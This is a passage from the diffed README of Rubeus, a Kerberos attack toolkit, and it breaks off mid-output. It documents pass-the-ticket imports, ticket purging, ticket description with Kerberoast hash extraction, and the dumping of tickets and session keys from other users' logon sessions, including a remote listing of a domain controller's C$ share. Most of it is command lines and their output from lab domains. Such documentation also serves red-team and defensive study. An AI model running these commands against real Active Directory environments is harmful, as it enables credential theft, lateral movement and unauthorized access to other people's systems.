pdc1.rubeus.ghostpack.local (192.168.71.80) + [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket + [*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local' + [+] TGS request successful! + [+] Ticket successfully imported! + [*] base64(ticket.kirbi): + + doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA== + + ServiceName : cifs/pdc1.rubeus.ghostpack.local + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : dev.ccob + UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL + StartTime : 29/07/2021 03:04:26 + EndTime : 29/07/2021 13:03:34 + RenewTill : 05/08/2021 03:03:34 + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY= + + + + C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$ + Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label. + Volume Serial Number is 3C5F-0EF1 + + Directory of \\pdc1.rubeus.ghostpack.local\c$ + + 30/06/2021 02:13 inetpub + 15/09/2018 08:19 PerfLogs + 09/06/2021 17:45 Program Files + 09/06/2021 17:45 Program Files (x86) + 14/07/2021 01:18 Rubeus + 19/07/2021 20:48 temp + 30/06/2021 02:14 Users + 14/07/2021 02:17 Windows + 0 File(s) 0 bytes + 8 Dir(s) 94,901,772,288 bytes free + + + +## Ticket Management + +Breakdown of the ticket management commands: + +| Command | Description | +| ----------- | ----------- | +| [ptt](#ptt) | Apply a ticket to the current (or specified) logon session | +| [purge](#purge) | Purge the current (or specified) logon session of Kerberos tickets | +| [describe](#describe) | Describe a ticket base64 blob or .kirbi file | + + +### ptt + +The **ptt** action will submit a `/ticket:X` (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (**if elevated**) to the logon session specified by `/luid:0xA..`. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. + + C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (Current User) + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM + Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL + Client Name : dfm.a @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) + + +**Elevated** ticket application to another logon session: + + C:\Rubeus>Rubeus.exe klist /luid:0x474722b + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (All Users) + + [*] Target LUID : 0x474722b + + UserName : patsy + Domain : TESTLAB + LogonId : 0x474722b + UserSID : S-1-5-21-883232822-274137685-4173207997-1169 + AuthenticationPackage : Kerberos + LogonType : Interactive + LogonTime : 2/11/2019 10:58:53 PM + LogonServer : PRIMARY + LogonServerDNSDomain : TESTLAB.LOCAL + UserPrincipalName : patsy@testlab.local + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM + Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL + Client Name : patsy @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) + + + C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Import Ticket + [*] Target LUID: 0x474722b + [+] Ticket successfully imported! + + C:\Rubeus>Rubeus.exe klist /luid:0x474722b + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (All Users) + + [*] Target LUID : 0x474722b + + UserName : patsy + Domain : TESTLAB + LogonId : 0x474722b + UserSID : S-1-5-21-883232822-274137685-4173207997-1169 + AuthenticationPackage : Kerberos + LogonType : Interactive + LogonTime : 2/11/2019 10:58:53 PM + LogonServer : PRIMARY + LogonServerDNSDomain : TESTLAB.LOCAL + UserPrincipalName : patsy@testlab.local + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM + Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL + Client Name : dfm.a @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) + + +### purge + +The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by `/luid:0xA..`. + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (Current User) + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM + Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000) + + [1] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM + Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) + + [2] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM + Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) + + + C:\Rubeus>Rubeus.exe purge + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + Luid: 0x0 + + [*] Action: Purge Tickets + [+] Tickets successfully purged! + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (Current User) + + + C:\Rubeus> + + +**Elevated** purging of another logon session: + + C:\Rubeus>Rubeus.exe triage /luid:0x474722b + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: Triage Kerberos Tickets + + [*] Target LUID : 0x474722b + + ----------------------------------------------------------------------------------- + | LUID | UserName | Service | EndTime | + ----------------------------------------------------------------------------------- + | 0x474722b | dfm.a @ TESTLAB.LOCAL | krbtgt/testlab.local | 2/11/2019 7:55:18 PM | + ----------------------------------------------------------------------------------- + + + C:\Rubeus>Rubeus.exe purge /luid:0x474722b + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + Luid: 0x474722b + + [*] Action: Purge Tickets + [*] Target LUID: 0x474722b + [+] Tickets successfully purged! + + C:\Rubeus>Rubeus.exe triage /luid:0x474722b + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: Triage Kerberos Tickets + + [*] Target LUID : 0x474722b + + --------------------------------------- + | LUID | UserName | Service | EndTime | + --------------------------------------- + --------------------------------------- + + +### describe + +The **describe** action takes a `/ticket:X` value (TGT or service ticket), parses it, and describes the values of the ticket. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. + +If the supplied ticket is a service ticket AND the encryption type is RC4_HMAC, an extracted Kerberoast-compatible hash is output. If the ticket is a service ticket but the encryption key is AES128/AES256, a warning is displayed. If the ticket is a TGT, no hash or warning is displayed. + +The EncTicketPart (encrypted section of the ticket) can be decrypted using the `/servicekey:X` argument, this will also verify the ServerChecksum within the PAC. The `/krbkey:X` argument can also be used for service tickets to verify the KDCChecksum and TicketChecksum (if it exists). + +By passing the `/serviceuser:X` argument (and `/servicedomain:X` is required), an crackable "hash" can be formed from an AES256 encrypted ticket service ticket. + +Display information about a TGT: + + C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Describe Ticket + + UserName : dfm.a + UserRealm : TESTLAB.LOCAL + ServiceName : krbtgt/testlab.local + ServiceRealm : TESTLAB.LOCAL + StartTime : 2/11/2019 2:55:18 PM + EndTime : 2/11/2019 7:55:18 PM + RenewTill : 2/18/2019 2:55:18 PM + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable + KeyType : rc4_hmac + Base64(key) : e3MxrlTu9jHh9hG43UfiAQ== + +Display information about service ticket with an extracted Kerberoast "hash": + + C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.1 + + + [*] Action: Describe Ticket + + UserName : harmj0y + UserRealm : TESTLAB.LOCAL + ServiceName : asdf/asdfasdf + ServiceRealm : TESTLAB.LOCAL + StartTime : 2/20/2019 8:58:14 AM + EndTime : 2/20/2019 12:41:09 PM + RenewTill : 2/27/2019 7:41:09 AM + Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable + KeyType : rc4_hmac + Base64(key) : WqGWK4htp7rM1CURpxjMPA== + Kerberoast Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(snip)... + +Display information about a TGT along with the decrypted PAC: + + C:\Rubeus>Rubeus.exe describe /servicekey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ticket:doIFaDCCBWSgAw...(snip)...HBhY2subG9jYWw= + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + + [*] Action: Describe Ticket + + + ServiceName : krbtgt/rubeus.ghostpack.local + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : exploitph + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 28/07/2021 21:25:45 + EndTime : 29/07/2021 07:25:45 + RenewTill : 04/08/2021 21:25:45 + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable + KeyType : rc4_hmac + Base64(key) : Gcf0pE1AVgbbmtSRqJbf9A== + Decrypted PAC : + LogonInfo : + LogonTime : 20/07/2021 22:10:22 + LogoffTime : + KickOffTime : + PasswordLastSet : 14/07/2021 00:50:44 + PasswordCanChange : 15/07/2021 00:50:44 + PasswordMustChange : + EffectiveName : exploitph + FullName : Exploit PH + LogonScript : + ProfilePath : + HomeDirectory : + HomeDirectoryDrive : + LogonCount : 11 + BadPasswordCount : 0 + UserId : 1104 + PrimaryGroupId : 513 + GroupCount : 1 + Groups : 513 + UserFlags : (32) EXTRA_SIDS + UserSessionKey : 0000000000000000 + LogonServer : PDC1 + LogonDomainName : RUBEUS + LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 + UserAccountControl : (262672) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION + ExtraSIDCount : 1 + ExtraSIDs : S-1-18-1 + ResourceGroupCount : 0 + ClientName : + Client Id : 28/07/2021 21:25:45 + Client Name : exploitph + UpnDns : + DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL + UPN : exploitph@rubeus.ghostpack.local + Flags : 0 + ServerChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : DC220C13C97C5723456DADE2 (VALID) + KDCChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : 32C03715F0B11E3D2EDA3D05 (VALID) + +Displaying information about an AES256 encrypted service ticket with an extracted Kerberoast "hash": + + C:\Rubeus>Rubeus.exe describe /serviceuser:exploitph /ticket:doIFSjCCB...(snip)...Vyb2FzdBsCbWU= + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + + [*] Action: Describe Ticket + + + ServiceName : roast/me + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : harmj0y + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 28/07/2021 21:31:57 + EndTime : 29/07/2021 07:31:20 + RenewTill : 04/08/2021 21:31:20 + Flags : name_canonicalize, pre_authent, renewable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : T+hpOdnnvvLhnSwup/O/DmYYY3CXVP4kN/Hq5qWWwKg= + Kerberoast Hash : $krb5tgs$18$exploitph$RUBEUS.GHOSTPACK.LOCAL$*roast/me*$1063B9C2E8BAB76E5051F5DE + $CD5F3403552BD882CBC52389C9851EFD9B7B72174CCA44876DD4E2958FE807B2A899EE33279835D + 01BEF12B6FE65174B4BF7B6A5062F45DDBEDA76CF2B122579194B3F1CF3192F982EFE5109B4FF644 + FDE4D4A170551B764A699DC4DB3535AE937E24D8D5EF0C980C98D115A6707A1F2583FAAB76FD4514 + 6957453FAAD213EF28ACED98E72CC909FCC8CB0FD904DE71607BB1C25163EC9512996057CB34950F + 40480CABC5CA812B06E461FF3ECAE62022D7BA3500B506AF9BCD557DB987D565FEC8583E5C093AB5 + AF7387930AE3DBC0C4197DB75988D0785E90B1C799C1245CBC891BEC5008BFED99A8042214300440 + 4846C3296A721B546428CA71640B2BDD730ADEDBE6217C572288D904E5F64843148EF30BED8F62A7 + A038B770DDD787BBBDCCBC4BF63EAC4C18E596F9A1C21B3265C1D402E84547B5491E4FE8E9B05E10 + 606773DA47C2570B7B191AE2648C0C467ED242F86C2DC5BD90D5E07D5C3DAACC917E796E5ACB416B + 8D980AC30D300016556AEF064DC6C0822D6EAEF41EC5C376E46BE54AB6B85959BDEDF0D15F87AD07 + 14F8999503F6DEEDC5F1798D7F82FB4A068D1C44A761C44589EAF7E17D4C855893A8C71B2FE309EB + 2FE87D36429CF0CA9AA3B02C981F2E6900D0B887EBF1438B3D084963D5AD6B06894A49D3BFED4A19 + 5CA0A544A6E73B46E85C0B5E6F7230884E44B265A48CB5EFF3EC699B63DF4C5241FC11F2E74953CF + DD610C9B3137CD15C716E538F42464A37D2B5F719B6FD0D783509B503E68F46F1FE0E03D12B97B79 + 6EFB104E093F625894C59BC025273CF0F0B1EF975FF9584AEE227E27304DE545C71B367BEF2EF6DA + 22CFF2940387DEA77446B84AC436C7FD273C04247D67334A8D2F2729DE88287BB270D0F495F8EA50 + 126EA94E7417A4191D080A7284FF2736C704A03EF7F7A044A6E357972A7BAC56AD3775C110A10954 + 0656CB6759BB61B47B7FF5545A97735279CDB281F632DAD91047FBEC3E98F8B5BC10CA4FFE446186 + 67BC174CFE97E2262EE8E4651AB460AB2E9A1B214566969FE30BC9A2EEA2BBC79E1ABDBB5A6E8BB6 + 0EF60EB33DCA0F50682DAB8A2F4AE863F83AD928E8D977AA2079706827B78A0CF37FA2D62EAD3A14 + 70625022335458E0E84C11786E9A84CAB5A136777B9E8293142D62D96DF9E04AACE6839E13CC54CA + B2B7F5752F8CE9544D7076960CCD7D26C8A0E8E9C879A11A44D2BCC607CE15862E29361C786C095C + 1EA55D7BD277E581E2488BD3FA4B8E09C331A1E7E3C4BE1C745B59E710362F8EEE9578EF9E5FB34F + AAA63C3D7D85000A84A29831B01BD0F4239263FDF59621E57CEE718B29AA2561857C4CD8020AF057 + AB5AC097DA90E9B15F6C881F47D95A9F9C15B60EE0B821FDDEB3A9AD4D71E + + +## Ticket Extraction and Harvesting + +Breakdown of the ticket extraction/harvesting commands: + +| Command | Description | +| ----------- | ----------- | +| [triage](#triage) | LUID, username, service target, ticket expiration | +| [klist](#klist) | Detailed logon session and ticket info | +| [dump](#dump) | Detailed logon session and ticket data | +| [tgtdeleg](#tgtdeleg) | Retrieve usable TGT for non-elevated user | +| [monitor](#monitor) | Monitor logon events and dump new tickets | +| [harvest](#harvest) | Same as monitor but with auto-renewal functionality| + +**Note:** [triage](#triage)/[klist](#klist)/[dump](#dump) give increasing amounts of ticket detail. + + +### triage + +The **triage** action will output a table of the current user's Kerberos tickets, if not elevated. If run from an elevated context, a table describing all Kerberos tickets on the system is displayed. Ticket can be filtered for a specific service with `/service:SNAME`. + +If elevated, tickets can be filtered for a specific LogonID with `/luid:0xA..` or a specific user with `/user:USER`. This can be useful when triaging systems with a lot of Kerberos tickets. + +Triage all enumerateable tickets (non-elevated): + + C:\Rubeus>Rubeus.exe triage + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + + [*] Action: Triage Kerberos Tickets (Current User) + + [*] Current LUID : 0x4420e + + ----------------------------------------------------------------------------------------- + | LUID | UserName | Service | EndTime | + ----------------------------------------------------------------------------------------- + | 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | + | 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | + | 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM | + ----------------------------------------------------------------------------------------- + +Triage all enumerateable tickets (elevated): + + C:\Rubeus>Rubeus.exe triage + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + + [*] Action: Triage Kerberos Tickets (All Users) + + ------------------------------------------------------------------------------------------------------------- + | LUID | UserName | Service | EndTime | + ------------------------------------------------------------------------------------------------------------- + | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | + | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | + | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM | + | 0x56cdd86 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:02 PM | + | 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM | + | 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM | + | 0x47869cc | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 3:19:11 PM | + | 0x47869b4 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:05:29 PM | + | 0x3c4c241 | dfm.a @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/11/2019 4:24:02 AM | + | 0x441d8 | dfm.a @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/10/2019 11:41:26 PM | + | 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM | + | 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM | + | 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM | + | 0x3e4 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local | 2/12/2019 1:25:01 PM | + | 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | WINDOWS10$ | 2/12/2019 2:23:45 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | + ------------------------------------------------------------------------------------------------------------- + + +Triage targeting a specific service (elevated): + + C:\Rubeus>Rubeus.exe triage /service:ldap + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + + [*] Action: Triage Kerberos Tickets (All Users) + + [*] Target service : ldap + + ----------------------------------------------------------------------------------------------------------- + | LUID | UserName | Service | EndTime | + ----------------------------------------------------------------------------------------------------------- + | 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM | + | 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM | + | 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | + ----------------------------------------------------------------------------------------------------------- + + +### klist + +The **klist** will list detailed information on the current user's logon session and Kerberos tickets, if not elevated. If run from an elevated context, information on all logon sessions and associated Kerberos tickets is displayed. Logon and ticket information can be displayed for a specific LogonID with `/luid:0xA..` (if elevated). + +Listing the current (non-elevated) user's logon session and Kerberos ticket information: + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + + [*] Action: List Kerberos Tickets (Current User) + + [*] Current LUID : 0x4420e + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/12/2019 11:04:14 AM ; 2/12/2019 4:04:14 PM ; 2/19/2019 11:04:14 AM + Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000) + + ...(snip)... + + +**Elevated** listing of another user's logon session/Kerberos ticket information: + + C:\Rubeus>Rubeus.exe klist /luid:0x47869b4 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: List Kerberos Tickets (All Users) + + [*] Target LUID : 0x47869b4 + + UserName : harmj0y + Domain : TESTLAB + LogonId : 0x47869b4 + UserSID : S-1-5-21-883232822-274137685-4173207997-1111 + AuthenticationPackage : Kerberos + LogonType : Interactive + LogonTime : 2/11/2019 11:05:31 PM + LogonServer : PRIMARY + LogonServerDNSDomain : TESTLAB.LOCAL + UserPrincipalName : harmj0y@testlab.local + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/11/2019 3:05:31 PM ; 2/11/2019 8:05:31 PM ; 2/18/2019 3:05:31 PM + Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) + + ...(snip)... + + +### dump + +The **dump** action will extract current TGTs and service tickets if in an elevated context. If not elevated, service tickets for the current user are extracted. The resulting extracted tickets can be filtered by `/service` (use `/service:krbtgt` for TGTs) and/or logon ID (the `/luid:0xA..` parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality. + +**Note:** if run from a _non-elevated_ context, the session keys for TGTs are not returned (by default) from the associated APIs, so only service tickets extracted will be usable. If you want to (somewhat) workaround this, use the **tgtdeleg** command. + +Extracting the current user's usable service tickets: + + C:\Rubeus>Rubeus.exe dump + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + + [*] Action: Dump Kerberos Ticket Data (Current User) + + [*] Current LUID : 0x4420e + + [*] Returned 3 tickets + + ServiceName : krbtgt/TESTLAB.LOCAL + TargetName : krbtgt/TESTLAB.LOCAL + ClientName : harmj0y + DomainName : TESTLAB.LOCAL + TargetDomainName : TESTLAB.LOCAL + AltTargetDomainName : TESTLAB.LOCAL + SessionKeyType : rc4_hmac + Base64SessionKey : AAAAAAAAAAAAAAAAAAAAAA== + KeyExpirationTime : 12/31/1600 4:00:00 PM + TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable + StartTime : 2/11/2019 3:19:15 PM + EndTime : 2/11/2019 8:19:13 PM + RenewUntil : 2/18/2019 3:19:13 PM + TimeSkew : 0 + EncodedTicketSize : 1306 + Base64EncodedTicket : + + doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... + + ...(snip)... + + + + [*] Enumerated 3 total tickets + [*] Extracted 3 total tickets + + +**Elevated** extraction of tickets from a specific logon session: + + C:\Rubeus>Rubeus.exe dump /luid:0x47869cc + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: Dump Kerberos Ticket Data (All Users) + + [*] Target LUID: 0x47869cc + + UserName : harmj0y + Domain : TESTLAB + LogonId : 0x47869cc + UserSID : S-1-5-21-883232822-274137685-4173207997-1111 + AuthenticationPackage : Negotiate + LogonType : Interactive + LogonTime : 2/11/2019 11:05:31 PM + LogonServer : PRIMARY + LogonServerDNSDomain : TESTLAB.LOCAL + UserPrincipalName : harmj0y@testlab.local + + [*] Enumerated 3 ticket(s): + + ServiceName : krbtgt/TESTLAB.LOCAL + TargetName : krbtgt/TESTLAB.LOCAL + ClientName : harmj0y + DomainName : TESTLAB.LOCAL + TargetDomainName : TESTLAB.LOCAL + AltTargetDomainName : TESTLAB.LOCAL + SessionKeyType : rc4_hmac + Base64SessionKey : u9DOCzuGKAZB6h/E/9XcFg== + KeyExpirationTime : 12/31/1600 4:00:00 PM + TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, 